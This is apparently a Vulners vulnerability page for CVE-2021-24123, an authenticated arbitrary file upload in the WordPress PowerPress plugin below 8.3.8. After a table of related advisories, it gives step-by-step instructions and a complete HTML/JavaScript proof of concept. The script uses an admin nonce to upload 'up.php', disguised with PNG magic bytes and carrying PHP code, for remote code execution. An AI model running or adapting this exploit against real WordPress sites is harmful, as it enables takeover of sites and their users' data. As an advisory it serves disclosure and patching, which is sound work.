PowerPress < 8.3.8 - Authenticated Arbitrary File Upload leading to RCE
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| CVE-2021-24123 | 18 Mar 202115:15 | – | attackerkb | |
| Wordpress PowerPress 代码问题漏洞 | 18 Mar 202100:00 | – | cnnvd | |
| CVE-2021-24123 | 18 Mar 202114:57 | – | cve | |
| CVE-2021-24123 PowerPress < 8.3.8 - Authenticated Arbitrary File Upload leading to RCE | 18 Mar 202114:57 | – | cvelist | |
| EUVD-2021-11037 | 7 Oct 202500:30 | – | euvd | |
| CVE-2021-24123 | 18 Mar 202115:15 | – | nvd | |
| CVE-2021-24123 | 18 Mar 202115:15 | – | osv | |
| Design/Logic Flaw | 18 Mar 202115:15 | – | prion | |
| CVE-2021-24123 | 22 May 202519:20 | – | redhatcve | |
| PowerPress < 8.3.8 - Authenticated Arbitrary File Upload leading to RCE | 11 Oct 202000:00 | – | wpvulndb |
| Source | Link |
|---|---|
| plugins | www.plugins.trac.wordpress.org/changeset/2396808 |
https://drive.google.com/file/d/1fyf6blzeG3VX22BQX7hc1QJ20rCY5p43/view?usp=sharing
- Save the below HTML code in an HTML file
- Replace the <BLOG> to the correct one
- Logon to the blog as admin, go to the Blubrry PowerPress Settings > Feeds and get the nonce from the source of the page (Look for "_wpnonce) and replace <NONCE> by it's value in the saved code
- Open the saved HTML file with the same browser used to login to the blog, and click on 'Submit request'
- Then open <BLOG>/wp-content/uploads/powerpress/up.php in the browser
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https:\/\/<BLOG>\/wp-admin\/admin.php?page=powerpressadmin_basic", true);
xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-GB,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundary5Ac7Ayyi2qVtiLqA");
xhr.withCredentials = true;
var body = "------WebKitFormBoundary5Ac7Ayyi2qVtiLqA\r\n" +
"Content-Disposition: form-data; name=\"_wpnonce\"\r\n" +
"\r\n" +
"<NONCE>\r\n" +
"------WebKitFormBoundary5Ac7Ayyi2qVtiLqA\r\n" +
"Content-Disposition: form-data; name=\"action\"\r\n" +
"\r\n" +
"powerpress-save-settings\r\n" +
"------WebKitFormBoundary5Ac7Ayyi2qVtiLqA\r\n" +
"Content-Disposition: form-data; name=\"Feed[rss2_image]\"\r\n" +
"\r\n" +
"aa.png\r\n" +
"------WebKitFormBoundary5Ac7Ayyi2qVtiLqA\r\n" +
"Content-Disposition: form-data; name=\"rss2_image_checkbox\"\r\n" +
"\r\n" +
"1\r\n" +
"------WebKitFormBoundary5Ac7Ayyi2qVtiLqA\r\n" +
"Content-Disposition: form-data; name=\"rss2_image_file\"; filename=\"up.php\"\r\n" +
"Content-Type: image/png\r\n" +
"\r\n" +
"\x89PNG\r\n" +
"\x1a\n" +
"\x3c?php phpinfo(); ?\x3e\r\n" +
"------WebKitFormBoundary5Ac7Ayyi2qVtiLqA--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
21 Jan 2021 06:00Current
0.1Low risk
Vulners AI Score0.1
EPSS0.01647